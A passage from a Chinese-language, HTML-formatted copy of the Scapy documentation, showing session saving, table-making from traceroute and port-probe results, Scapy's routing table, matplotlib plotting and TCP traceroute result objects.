href="#Sessions" class="headerlink" title="Sessions"></a>Sessions</h4><p> 最后可以使用<code>save_session()</code>函数来保存所有的session变量: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>dir()</span><br><span class="line">[<span class="string">'__builtins__'</span>, <span class="string">'conf'</span>, <span class="string">'new_pkt'</span>, <span class="string">'pkt'</span>, <span class="string">'pkt_export'</span>, <span class="string">'pkt_hex'</span>, <span class="string">'pkt_raw'</span>, <span class="string">'pkts'</span>]</span><br><span class="line"><span class="meta">>>> </span>save_session(<span class="string">"session.scapy"</span>)</span><br></pre></td></tr></table></figure><p> 使用<code>load_session()</code>函数,在下一次你启动Scapy的时候你就能加载保存的session: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>dir()</span><br><span class="line">[<span class="string">'__builtins__'</span>, <span class="string">'conf'</span>]</span><br><span class="line"><span class="meta">>>> </span>load_session(<span class="string">"session.scapy"</span>)</span><br><span class="line"><span class="meta">>>> </span>dir()</span><br><span class="line">[<span class="string">'__builtins__'</span>, <span class="string">'conf'</span>, <span class="string">'new_pkt'</span>, <span class="string">'pkt'</span>, <span class="string">'pkt_export'</span>, <span class="string">'pkt_hex'</span>, <span class="string">'pkt_raw'</span>, <span class="string">'pkts'</span>]</span><br></pre></td></tr></table></figure><h3 id="Making-tables"><a href="#Making-tables" class="headerlink" title="Making tables"></a>Making tables</h3><p>现在我们来演示一下<code>make_table()</code>函数的功能。该函数的需要一个列表和另一个函数(返回包含三个元素的元组)作为参数。第一个元素是表格x轴上的一个值,第二个元素是y轴上的值,第三个原始则是坐标(x,y)对应的值,其返回结果为一个表格。这个函数有两个变种,<code>make_lined_table()</code>和<code>make_tex_table()</code>来复制/粘贴到你的LaTeX报告中。这些函数都可以作为一个结果对象的方法:</p><p>在这里,我们可以看到一个多机并行的traceroute(Scapy的已经有一个多TCP路由跟踪功能,待会儿可以看到):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"www.test.fr/30"</span>, ttl=(<span class="number">1</span>,<span class="number">6</span>))/TCP())</span><br><span class="line">Received <span class="number">49</span> packets, got <span class="number">24</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line"><span class="meta">>>> </span>ans.make_table( <span class="keyword">lambda</span> (s,r): (s.dst, s.ttl, r.src) )</span><br><span class="line"> <span class="number">216.15</span><span class="number">.189</span><span class="number">.192</span> <span class="number">216.15</span><span class="number">.189</span><span class="number">.193</span> <span class="number">216.15</span><span class="number">.189</span><span class="number">.194</span> <span class="number">216.15</span><span class="number">.189</span><span class="number">.195</span></span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span></span><br><span class="line"><span class="number">2</span> <span class="number">81.57</span><span class="number">.239</span><span class="number">.254</span> <span class="number">81.57</span><span class="number">.239</span><span class="number">.254</span> <span class="number">81.57</span><span class="number">.239</span><span class="number">.254</span> <span class="number">81.57</span><span class="number">.239</span><span class="number">.254</span></span><br><span class="line"><span class="number">3</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">4</span> <span class="number">213.228</span><span class="number">.3</span><span class="number">.3</span> <span class="number">213.228</span><span class="number">.3</span><span class="number">.3</span> <span class="number">213.228</span><span class="number">.3</span><span class="number">.3</span> <span class="number">213.228</span><span class="number">.3</span><span class="number">.3</span></span><br><span class="line"><span class="number">5</span> <span class="number">193.251</span><span class="number">.254</span><span class="number">.1</span> <span class="number">193.251</span><span class="number">.251</span><span class="number">.69</span> <span class="number">193.251</span><span class="number">.254</span><span class="number">.1</span> <span class="number">193.251</span><span class="number">.251</span><span class="number">.69</span></span><br><span class="line"><span class="number">6</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.174</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.178</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.174</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.178</span></span><br></pre></td></tr></table></figure><p> 这里有个更复杂的例子:从他们的IPID字段中识别主机。我们可以看到172.20.80.200只有22端口做出了应答,而172.20.80.201则对所有的端口都有应答,而且172.20.80.197对25端口没有应答,但对其他端口都有应答。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>ans, unans = sr(IP(dst=<span class="string">"172.20.80.192/28"</span>)/TCP(dport=[<span class="number">20</span>,<span class="number">21</span>,<span class="number">22</span>,<span class="number">25</span>,<span class="number">53</span>,<span class="number">80</span>]))</span><br><span class="line">Received <span class="number">142</span> packets, got <span class="number">25</span> answers, remaining <span class="number">71</span> packets</span><br><span class="line"><span class="meta">>>> </span>ans.make_table(<span class="keyword">lambda</span> (s,r): (s.dst, s.dport, r.sprintf(<span class="string">"%IP.id%"</span>)))</span><br><span class="line"> <span class="number">172.20</span><span class="number">.80</span><span class="number">.196</span> <span class="number">172.20</span><span class="number">.80</span><span class="number">.197</span> <span class="number">172.20</span><span class="number">.80</span><span class="number">.198</span> <span class="number">172.20</span><span class="number">.80</span><span class="number">.200</span> <span class="number">172.20</span><span class="number">.80</span><span class="number">.201</span></span><br><span class="line"><span class="number">20</span> <span class="number">0</span> <span class="number">4203</span> <span class="number">7021</span> - <span class="number">11562</span></span><br><span class="line"><span class="number">21</span> <span class="number">0</span> <span class="number">4204</span> <span class="number">7022</span> - <span class="number">11563</span></span><br><span class="line"><span class="number">22</span> <span class="number">0</span> <span class="number">4205</span> <span class="number">7023</span> <span class="number">11561</span> <span class="number">11564</span></span><br><span class="line"><span class="number">25</span> <span class="number">0</span> <span class="number">0</span> <span class="number">7024</span> - <span class="number">11565</span></span><br><span class="line"><span class="number">53</span> <span class="number">0</span> <span class="number">4207</span> <span class="number">7025</span> - <span class="number">11566</span></span><br><span class="line"><span class="number">80</span> <span class="number">0</span> <span class="number">4028</span> <span class="number">7026</span> - <span class="number">11567</span></span><br></pre></td></tr></table></figure><p> 你在使用TTL和显示接收到的TTL等情况下,它可以很轻松地帮你识别网络拓扑结构。 </p><h3 id="Routing"><a href="#Routing" class="headerlink" title="Routing"></a>Routing</h3><p> 现在Scapy有自己的路由表了,所以将你的数据包以不同于操作系统的方式路由: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>conf.route</span><br><span class="line">Network Netmask Gateway Iface</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">255.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> lo</span><br><span class="line"><span class="number">192.168</span><span class="number">.8</span><span class="number">.0</span> <span class="number">255.255</span><span class="number">.255</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> eth0</span><br><span class="line"><span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> eth0</span><br><span class="line"><span class="meta">>>> </span>conf.route.delt(net=<span class="string">"0.0.0.0/0"</span>,gw=<span class="string">"192.168.8.1"</span>)</span><br><span class="line"><span class="meta">>>> </span>conf.route.add(net=<span class="string">"0.0.0.0/0"</span>,gw=<span class="string">"192.168.8.254"</span>)</span><br><span class="line"><span class="meta">>>> </span>conf.route.add(host=<span class="string">"192.168.1.1"</span>,gw=<span class="string">"192.168.8.1"</span>)</span><br><span class="line"><span class="meta">>>> </span>conf.route</span><br><span class="line">Network Netmask Gateway Iface</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">255.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> lo</span><br><span class="line"><span class="number">192.168</span><span class="number">.8</span><span class="number">.0</span> <span class="number">255.255</span><span class="number">.255</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> eth0</span><br><span class="line"><span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.254</span> eth0</span><br><span class="line"><span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span> <span class="number">255.255</span><span class="number">.255</span><span class="number">.255</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> eth0</span><br><span class="line"><span class="meta">>>> </span>conf.route.resync()</span><br><span class="line"><span class="meta">>>> </span>conf.route</span><br><span class="line">Network Netmask Gateway Iface</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">255.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> lo</span><br><span class="line"><span class="number">192.168</span><span class="number">.8</span><span class="number">.0</span> <span class="number">255.255</span><span class="number">.255</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> eth0</span><br><span class="line"><span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> eth0</span><br></pre></td></tr></table></figure><h3 id="Matplotlib"><a href="#Matplotlib" class="headerlink" title="Matplotlib"></a>Matplotlib</h3><p> 我们可以很容易地将收集起来的数据绘制成图案。(确保你已经安装了matplotlib)例如,我们可以通过观察图案知道负载平衡器用了多少个不同的IP堆栈: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>a, b = sr(IP(dst=<span class="string">"www.target.com"</span>)/TCP(sport=[RandShort()]*<span class="number">1000</span>))</span><br><span class="line"><span class="meta">>>> </span>a.plot(<span class="keyword">lambda</span> x:x[<span class="number">1</span>].id)</span><br><span class="line">[<matplotlib.lines.Line2D at <span class="number">0x2367b80d6a0</span>>]</span><br></pre></td></tr></table></figure><p><img src="ipid.png" alt="_images/ipid.png"></p><h3 id="TCP-traceroute-2"><a href="#TCP-traceroute-2" class="headerlink" title="TCP traceroute (2)"></a>TCP traceroute (2)</h3><p> Scapy也有强大的TCP traceroute功能。并不像其他traceroute程序那样,需要等待每个节点的回应才去下一个节点,scapy会在同一时间发送所有的数据包。其缺点就是不知道什么时候停止(所以就有maxttl参数),其巨大的优点就是,只用了不到3秒,就可以得到多目标的traceroute结果: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>traceroute([<span class="string">"www.yahoo.com"</span>,<span class="string">"www.altavista.com"</span>,<span class="string">"www.wisenut.com"</span>,<span class="string">"www.copernic.com"</span>],maxttl=<span class="number">20</span>)</span><br><span class="line">Received <span class="number">80</span> packets, got <span class="number">80</span> answers, remaining <span class="number">0</span> packets</span><br><span class="line"> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span>:<span class="number">80</span> <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span>:<span class="number">80</span> <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span>:<span class="number">80</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span>:<span class="number">80</span></span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span></span><br><span class="line"><span class="number">2</span> <span class="number">82.243</span><span class="number">.5</span><span class="number">.254</span> <span class="number">82.243</span><span class="number">.5</span><span class="number">.254</span> <span class="number">82.243</span><span class="number">.5</span><span class="number">.254</span> <span class="number">82.243</span><span class="number">.5</span><span class="number">.254</span></span><br><span class="line"><span class="number">3</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">4</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.46</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.46</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.46</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.46</span></span><br><span class="line"><span class="number">5</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.37</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.41</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.37</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.41</span></span><br><span class="line"><span class="number">6</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.34</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.34</span> <span class="number">213.228</span><span class="number">.3</span><span class="number">.234</span> <span class="number">193.251</span><span class="number">.251</span><span class="number">.69</span></span><br><span class="line"><span class="number">7</span> <span class="number">213.248</span><span class="number">.71</span><span class="number">.141</span> <span class="number">217.118</span><span class="number">.239</span><span class="number">.149</span> <span class="number">208.184</span><span class="number">.231</span><span class="number">.214</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.178</span></span><br><span class="line"><span class="number">8</span> <span class="number">213.248</span><span class="number">.65</span><span class="number">.81</span> <span class="number">217.118</span><span class="number">.224</span><span class="number">.44</span> <span class="number">64.125</span><span class="number">.31</span><span class="number">.129</span> <span class="number">193.251</span><span class="number">.242</span><span class="number">.98</span></span><br><span class="line"><span class="number">9</span> <span class="number">213.248</span><span class="number">.70</span><span class="number">.14</span> <span class="number">213.206</span><span class="number">.129</span><span class="number">.85</span> <span class="number">64.125</span><span class="number">.31</span><span class="number">.186</span> <span class="number">193.251</span><span class="number">.243</span><span class="number">.89</span></span><br><span class="line"><span class="number">10</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">213.206</span><span class="number">.128</span><span class="number">.160</span> <span class="number">64.125</span><span class="number">.29</span><span class="number">.122</span> <span class="number">193.251</span><span class="number">.254</span><span class="number">.126</span></span><br><span class="line"><span class="number">11</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">206.24</span><span class="number">.169</span><span class="number">.41</span> <span class="number">64.125</span><span class="number">.28</span><span class="number">.70</span> <span class="number">216.115</span><span class="number">.97</span><span class="number">.178</span></span><br><span class="line"><span class="number">12</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">206.24</span><span class="number">.226</span><span class="number">.99</span> <span class="number">64.125</span><span class="number">.28</span><span class="number">.209</span> <span class="number">66.218</span><span class="number">.64</span><span class="number">.146</span></span><br><span class="line"><span class="number">13</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">206.24</span><span class="number">.227</span><span class="number">.106</span> <span class="number">64.125</span><span class="number">.29</span><span class="number">.45</span> <span class="number">66.218</span><span class="number">.82</span><span class="number">.230</span></span><br><span class="line"><span class="number">14</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.74</span><span class="number">.30</span> <span class="number">64.125</span><span class="number">.31</span><span class="number">.214</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">15</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.120</span><span class="number">.149</span> <span class="number">64.124</span><span class="number">.229</span><span class="number">.109</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">16</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">17</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">18</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">19</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line"><span class="number">20</span> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span> SA <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span> SA <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span> SA <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span> SA</span><br><span class="line">(<Traceroute: UDP:<span class="number">0</span> TCP:<span class="number">28</span> ICMP:<span class="number">52</span> Other:<span class="number">0</span>>, <Unanswered: UDP:<span class="number">0</span> TCP:<span class="number">0</span> ICMP:<span class="number">0</span> Other:<span class="number">0</span>>)</span><br></pre></td></tr></table></figure><p> 最后一行实际上是该函数的返回结果:traceroute返回一个对象和无应答数据包列表。traceroute返回的是一个经典返回对象更加特殊的版本(实际上是一个子类)。我们可以将其保存以备后用,或者是进行一些例如检查填充的更深层次的观察: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>result, unans = _</span><br><span class="line"><span class="meta">>>> </span>result.show()</span><br><span class="line"> <span class="number">193.45</span><span class="number">.10</span><span class="number">.88</span>:<span class="number">80</span> <span class="number">216.109</span><span class="number">.118</span><span class="number">.79</span>:<span class="number">80</span> <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span>:<span class="number">80</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span>:<span class="number">80</span></span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span></span><br><span class="line"><span class="number">2</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">3</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line">[...]</span><br><span class="line"><span class="meta">>>> </span>result.filter(<span class="keyword">lambda</span> x: Padding <span class="keyword">in</span> x[<span class="number">1</span>])</span><br></pre></td></tr></table></figure><p> 和其他返回对象一样,traceroute对象也可以相加: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>r2, unans = traceroute([<span class="string">"www.voila.com"</span>],maxttl=<span class="number">20</span>)</span><br><span class="line">Received <span class="number">19</span> packets, got <span class="number">19</span> answers, remaining <span class="number">1</span> packets</span><br><span class="line"> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span>:<span class="number">80</span></span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span></span><br><span class="line"><span class="number">2</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">3</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">4</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.169</span></span><br><span class="line"><span class="number">5</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.162</span></span><br><span class="line"><span class="number">6</span> <span class="number">193.252</span><span class="number">.161</span><span class="number">.97</span></span><br><span class="line"><span class="number">7</span> <span class="number">193.252</span><span class="number">.103</span><span class="number">.86</span></span><br><span class="line"><span class="number">8</span> <span class="number">193.252</span><span class="number">.103</span><span class="number">.77</span></span><br><span class="line"><span class="number">9</span> <span class="number">193.252</span><span class="number">.101</span><span class="number">.1</span></span><br><span class="line"><span class="number">10</span> <span class="number">193.252</span><span class="number">.227</span><span class="number">.245</span></span><br><span class="line"><span class="number">12</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">13</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">14</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">15</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">16</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">17</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">18</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">19</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line"><span class="number">20</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA</span><br><span class="line">>>></span><br><span class="line"><span class="meta">>>> </span>r3=result+r2</span><br><span class="line"><span class="meta">>>> </span>r3.show()</span><br><span class="line"> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span>:<span class="number">80</span> <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span>:<span class="number">80</span> <span class="number">216.109</span><span class="number">.118</span><span class="number">.72</span>:<span class="number">80</span> <span class="number">64.241</span><span class="number">.242</span><span class="number">.243</span>:<span class="number">80</span> <span class="number">66.94</span><span class="number">.229</span><span class="number">.254</span>:<span class="number">80</span></span><br><span class="line"><span class="number">1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span> <span class="number">192.168</span><span class="number">.8</span><span class="number">.1</span></span><br><span class="line"><span class="number">2</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span> <span class="number">82.251</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">3</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span> <span class="number">213.228</span><span class="number">.4</span><span class="number">.254</span></span><br><span class="line"><span class="number">4</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.169</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.169</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.46</span> - <span class="number">212.27</span><span class="number">.50</span><span class="number">.46</span></span><br><span class="line"><span class="number">5</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.162</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.162</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.37</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.41</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.37</span></span><br><span class="line"><span class="number">6</span> <span class="number">193.252</span><span class="number">.161</span><span class="number">.97</span> <span class="number">194.68</span><span class="number">.129</span><span class="number">.168</span> <span class="number">212.27</span><span class="number">.50</span><span class="number">.34</span> <span class="number">213.228</span><span class="number">.3</span><span class="number">.234</span> <span class="number">193.251</span><span class="number">.251</span><span class="number">.69</span></span><br><span class="line"><span class="number">7</span> <span class="number">193.252</span><span class="number">.103</span><span class="number">.86</span> <span class="number">212.23</span><span class="number">.42</span><span class="number">.33</span> <span class="number">217.118</span><span class="number">.239</span><span class="number">.185</span> <span class="number">208.184</span><span class="number">.231</span><span class="number">.214</span> <span class="number">193.251</span><span class="number">.241</span><span class="number">.178</span></span><br><span class="line"><span class="number">8</span> <span class="number">193.252</span><span class="number">.103</span><span class="number">.77</span> <span class="number">212.23</span><span class="number">.42</span><span class="number">.6</span> <span class="number">217.118</span><span class="number">.224</span><span class="number">.44</span> <span class="number">64.125</span><span class="number">.31</span><span class="number">.129</span> <span class="number">193.251</span><span class="number">.242</span><span class="number">.98</span></span><br><span class="line"><span class="number">9</span> <span class="number">193.252</span><span class="number">.101</span><span class="number">.1</span> <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">213.206</span><span class="number">.129</span><span class="number">.85</span> <span class="number">64.125</span><span class="number">.31</span><span class="number">.186</span> <span class="number">193.251</span><span class="number">.243</span><span class="number">.89</span></span><br><span class="line"><span class="number">10</span> <span class="number">193.252</span><span class="number">.227</span><span class="number">.245</span> <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">213.206</span><span class="number">.128</span><span class="number">.160</span> <span class="number">64.125</span><span class="number">.29</span><span class="number">.122</span> <span class="number">193.251</span><span class="number">.254</span><span class="number">.126</span></span><br><span class="line"><span class="number">11</span> - <span class="number">212.23</span><span class="number">.37</span><span class="number">.13</span> SA <span class="number">206.24</span><span class="number">.169</span><span class="number">.41</span> <span class="number">64.125</span><span class="number">.28</span><span class="number">.70</span> <span class="number">216.115</span><span class="number">.97</span><span class="number">.178</span></span><br><span class="line"><span class="number">12</span> <span class="number">195.101</span><span class="number">.94</span><span class="number">.25</span> SA <span class="number">212.23</span><span 